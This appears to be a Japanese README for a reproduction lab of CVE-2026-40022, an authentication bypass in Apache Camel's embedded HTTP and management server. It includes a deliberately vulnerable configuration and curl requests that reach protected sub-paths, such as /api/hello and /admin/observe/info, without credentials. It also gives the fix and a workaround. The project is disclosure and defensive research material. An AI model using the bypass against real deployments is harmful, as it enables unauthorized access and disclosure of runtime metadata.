
CVE-2026-40022 の再現ツール: Apache Camel camel-platform-http-main における非ルートコンテキストパスでの認証バイパス
このプロジェクトは、Apache Camel の camel-platform-http-main コンポーネント(Camel main ランタイムの組み込み HTTP / 管理サーバー)における 認証バイパス を実証するもので、CVE-2026-40022 として追跡されています。認証が有効で、非ルートのコンテキストパス(例:/api や /admin)が設定されている場合、認証ハンドラーは正確なコンテキストパスのみをカバーするため、サブパス への認証されていないリクエストが保護されたルートや管理エンドポイントに到達します。
アドバイザリ:https://camel.apache.org/security/CVE-2026-40022.html
| プロパティ | 値 |
|---|---|
| コンポーネント | camel-platform-http-main(Camel main ランタイム組み込み HTTP/管理サーバー) |
| 影響を受けるクラス | BasicAuthenticationConfigurer、JWTAuthenticationConfigurer、MainAuthenticationConfigurer |
| 根本原因 | authenticationPath が未設定の場合、camel.server.path から派生します。Vert.x のサブルーターマウントモデルでは、認証ハンドラーは正確なコンテキストパスのみにマッチし、そのサブパスにはマッチしません |
| CWE | CWE-287:不適切な認証(認証バイパス) |
| 影響 | 保護されたビジネスルートおよび管理エンドポイント(例:/observe/info によるランタイムメタデータの開示)への認証なしアクセス |
| 影響を受けるバージョン | 4.14.1 から 4.14.6 未満、および 4.15.0 から 4.18.2 未満 |
| 修正バージョン | 4.14.6、4.18.2、4.20.0 |
| 報告者 | Jihang Yu |
| PRs | apache/camel#22474(main)、#22475(4.18.x)、#22476(4.14.x) |
BasicAuthenticationConfigurer(および JWTAuthenticationConfigurer)は、認証ハンドラーが保護するパスを properties.getAuthenticationPath() から解決し、明示的に設定されていない場合は properties.getPath()(camel.server.path コンテキストパス)にフォールバックします:
String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath());
Vert.x サーバーは <contextPath>* に サブルーター をマウントし、そのサブルーター 内部 の解決されたパスに認証ハンドラーを登録します。影響を受けるバージョンでは、解決されたパスはコンテキストパス自体であるため、すでに /api にマウントされているサブルーターに対して、認証ハンドラーは /api/api のみにマッチし、すべてのサブパスにはマッチしません。その結果:
/api/api は チャレンジされる(401)— ハンドラーは存在するが、スコープが不適切/api/hello(実際のビジネスルート)は チャレンジされない → 資格情報なしで提供される修正により、resolveAuthenticationPath が /* を返すようになり、ハンドラーがサブルーターのすべてのサブパスをカバーするようになります。
application.properties — 認証が有効で authenticationPath が未設定の非ルートコンテキストパス:
camel.server.enabled = true
camel.server.port = 8080
camel.server.path = /api
camel.server.authenticationEnabled = true
camel.server.basicPropertiesFile = auth.properties
ルートは /api/hello で提供されます。
外部サービスや Docker コンテナは不要です。脆弱な HTTP サーバーはアプリ自体です。
mvn clean package -DskipTests
java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar
curl -i http://localhost:8080/api/api
# -> HTTP/1.1 401 Unauthorized
# WWW-Authenticate: Basic realm="vertx-web"
BasicAuthHandler はアクティブですが、正確なコンテキストパスにのみスコープが設定されています。
curl -i http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
# hello-response (これは保護されたビジネスルートです)
修正バージョン(4.14.6 / 4.18.2 / 4.20.0)では、これにより 401 Unauthorized が返されます。
curl -i -u camel:propertiesPass http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
同じ欠陥が管理サーバー(camel.management.path、例:/admin)にも適用されます。/admin/observe/info などのサブパスへの認証なしリクエストが管理エンドポイントに到達し、ランタイムメタデータ(OS ユーザー、作業/ホームディレクトリ、プロセス ID、JVM および OS 情報)を開示する可能性があります。
camel-platform-http-main を使用した Camel main ランタイム。camel.server.path / camel.management.path)。camel.server.authenticationPath / camel.management.authenticationPath が 明示的に設定されていない。4.14.6 / 4.18.2 / 4.20.0 にアップグレードしてください。修正(resolveAuthenticationPath)により、認証ハンドラーがすべてのサブパスをカバーするようになります:
default String resolveAuthenticationPath(String authenticationPath, String contextPath) {
if (authenticationPath != null && !authenticationPath.isBlank()) {
return authenticationPath;
}
return "/*"; // 以前:正確なコンテキストパス
}
アップグレードまでの間:
camel.server.authenticationPath = /*(および camel.management.authenticationPath = /*)を設定し、ハンドラーがすべてのサブパスをカバーするようにします。CVE-2026-40022/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Camel main ランタイムエントリポイント
│ └── HelloRoute.java # 保護された platform-http ルート(/api/hello)
└── resources/
├── application.properties # 非ルートパス + 認証有効(脆弱な設定)
└── auth.properties # basic-auth ユーザー(camel / propertiesPass)
この再現コードは セキュリティ研究および許可されたテストのみ を目的として、公開され修正済みの 脆弱性のために提供されています。明示的な許可なくシステムに対して使用しないでください。